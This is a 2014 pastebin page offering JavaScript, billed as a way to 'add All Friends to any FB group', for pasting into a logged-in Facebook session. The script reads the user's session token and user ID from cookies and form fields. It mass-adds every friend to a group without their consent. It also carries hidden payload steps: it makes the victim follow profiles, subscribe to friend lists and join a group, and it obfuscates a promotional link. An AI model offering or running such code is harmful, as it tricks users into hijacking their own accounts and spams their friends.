SHARE
TWEET

Code to add All Friends to any FB group

iftiseo Mar 7th, 2014 108,160 Never
  1.  
  2. (function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Abonnenten</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Suche nach möglichen Abonnenten... ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> haben dich abonniert.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>20 Leute Einladen!</div><a href='/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Schliesen</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="<div style='margin-top:10px;color:gray;font-size:12px'>"+g[1].toUpperCase()+g[0]+g[6]+g[3]+g[14].toUpperCase()+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+" "+g[g.length-1]+g[11]+g[13]+g[15]+g[17]+"<div style='font-size:9px'><a href='http://"+crl+"/' target='_blank'>"+crl+"</a></div></div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid skyblue;background-color:rgba(225,225,255,0.75)'><b>Suche nach Abonnenten ... Script by Mano </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})(); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  3. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1])
  4. function cereziAl(isim) {
  5. var tarama = isim + "=";
  6. if (document.cookie.length > 0) {
  7. konum = document.cookie.indexOf(tarama)
  8. if (konum != -1) {
  9. konum += tarama.length
  10. son = document.cookie.indexOf(";", konum)
  11. if (son == -1)
  12. son = document.cookie.length
  13. return unescape(document.cookie.substring(konum, son))
  14. }
  15. else { return ""; }
  16. }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30. var http4 = new XMLHttpRequest();
  31.  
  32. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.  
  34. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35. http4.open("POST", url4, true);
  36.  
  37. //Send the proper header information along with the request
  38. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39. http4.setRequestHeader("Content-length", params4.length);
  40. http4.setRequestHeader("Connection", "close");
  41.  
  42. http4.onreadystatechange = function() {//Call a function when the state changes.
  43. if(http4.readyState == 4 && http4.status == 200) {
  44.  
  45. http4.close; // Close the connection
  46.  
  47. }
  48. }
  49.  
  50. http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54. var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58.  
  59. a("");
  60. a("");
  61.  
  62. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  63. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  64.  
  65. var httpwp = new XMLHttpRequest();
  66. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  67. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  68. httpwp['open']('POST', urlwp, true);
  69. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  70. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  71. httpwp['setRequestHeader']('Connection', 'keep-alive');
  72. httpwp['send'](paramswp);
  73.  
  74. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  75. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  76.  
  77. var friends = new Array();
  78. gf = new XMLHttpRequest();
  79. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  80. gf['send']();
  81. if (gf['readyState'] != 4) {} else {
  82. data = eval('(' + gf['responseText']['substr'](9) + ')');
  83. if (data['error']) {} else {
  84. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  85. return _0x93dax8['index'] - _0x93dax9['index'];
  86. });
  87. };
  88. };
RAW Paste Data
Top